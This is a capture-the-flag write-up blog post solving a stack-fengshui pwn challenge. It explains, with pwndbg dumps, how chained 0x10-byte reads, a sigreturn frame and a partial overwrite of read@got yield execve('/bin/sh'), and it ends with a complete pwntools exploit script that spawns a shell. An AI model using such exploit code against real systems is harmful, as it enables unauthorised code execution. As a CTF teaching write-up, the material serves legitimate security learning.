828 words
4 minutes
此地不宜调试
2026-01-19
2026-01-20

Challenge Collections#

CuB3y0nd
/
fengshui
Waiting for api.github.com...
00K
0K
0K
Waiting...

You can download the challenges from my repo above.

stack/level-0#

Information#

  • Category: Pwn

Description#

None.

Write-up#

This is probably the easiest stack fengshui challenge.

This challenge gave us pop rax; ret gadget, but cannot control any other registers, like rdi etc.

Only 0x20 bytes read with 0x10 bytes buffer, so we can only write 0x10 bytes data each time, and then overwrite rbp and rip.

So, the idea is use sigreturn to execute execve("/bin/sh", NULL, NULL), and the first thing we have to do it figure out how to implement the arbitrary size read, such that we can send the full sigreturn structure, then construct a sigreturn by utilize the pop rax; ret gadget.

The memory layout should be looks like:

# pop rax; ret
# 0xf
# syscall
# sigreturn frame

Now, let’s think about how to achieve an arbitrary size read. Assume following memory dump is the stats of the first time read, because we want get an arbitrary size consistent read, so we cannot chain the next read gadget write to 0x404038 directly.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404048 0x0000000000401133
0x404048: 0x0000000000000000 0x0000000000000000
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000

If we directly write to the next consistent address, it’ll cause read return to 0x4242424242424242 and crash the program.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404058 0x0000000000401133
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000

The way to bypass is fairly simple, just avoid corrupt the return address later used by read. First, we read some junk bytes to 0x404048 to keeping the rop chain alive so we can read more data.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404058 0x0000000000401149
0x404048: 0x5858585858585858 0x5858585858585858
0x404058: 0x0000000000404048 0x0000000000401133
0x404068: 0x0000000000000000 0x0000000000000000

Then write the actual data which we needed to 0x404038.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404048 0x0000000000401133
0x404058: 0x0000000000404048 0x0000000000401149
0x404068: 0x0000000000000000 0x0000000000000000

Finally, repeat the same way to achieve arbitrary size read.

As for how to get the syscall; ret gadget, we can utilize read@got, checking instructions nearby read, you can found some of them.

So the final memory layout should be:

# pop rax; ret
# 0xf
# read@plt (syscall)
# sigreturn frame

And the final strategy is:

  1. Pre-place pop rax; ret chain for execute sigreturn
  2. Place sigreturn frame beside the chain (actually you can put it anywhere, just have to manually pivot, to make sure the rsp points to the frame)
  3. Modify read@got points to syscall; ret gadget
  4. Pivot back to the start of the ROP chain

Exploit#

#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
SigreturnFrame,
constants,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.local and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.local:
if args.gdb and "qemu" in argv[0]:
if "-g" not in argv:
argv.insert(1, str(args.port))
argv.insert(1, "-g")
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def arbitrary_size_read(target, frame, size, read_addr, base_addr):
for i in range(0, size, 0x10):
offset = (i // 0x10) * 0x10
payload1 = flat(
{
0x0: b"X" * 0x10,
0x10: (base_addr + offset) + 0x10,
0x18: read_addr,
},
filler=b"\x00",
)
target.send(payload1)
chunk = frame[i : i + 0x10]
if len(chunk) < 0x10:
chunk = chunk.ljust(0x10, b"\x00")
payload2 = flat(
{
0x0: chunk,
0x10: (base_addr + 0x20 + offset) + 0x10,
0x18: read_addr,
},
filler=b"\x00",
)
target.send(payload2)
def main():
launch()
read = elf.sym["main"] + 0x8
pop_rax_ret = 0x401126
ret = pop_rax_ret + 0x1
payload = flat(
{
0x10: 0x404038 + 0x10,
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: elf.sym["main"],
0x10: 0x404018 + 0x10,
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: pop_rax_ret,
0x18: ret,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: read,
0x10: elf.bss() + 0x500 + 0x10,
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: b"/bin/sh\x00",
0x10: 0x404020 + 0x10,
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x0: 0xF,
0x8: elf.plt["read"],
0x10: elf.bss() + 0x300, # junk
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.bss() + 0x500
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x404030
frame.rip = elf.plt["read"]
frame = bytes(frame)
target.hexdump(frame)
target.success(f"frame len: {hex(len(frame))}")
arbitrary_size_read(target, frame, len(frame), read, 0x404030)
payload = flat(
{
0x10: elf.bss() + 0x800,
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
payload = flat(
{
0x10: elf.got["read"] + 0x10,
0x18: read,
},
filler=b"\x00",
)
raw_input("DEBUG")
target.send(payload)
raw_input("DEBUG")
target.send(b"\xdb")
target.interactive()
if __name__ == "__main__":
main()
此地不宜调试
https://cubeyond.net/posts/write-ups/fengshui/
Author
CuB3y0nd
Published at
2026-01-19
License
CC BY-NC-SA 4.0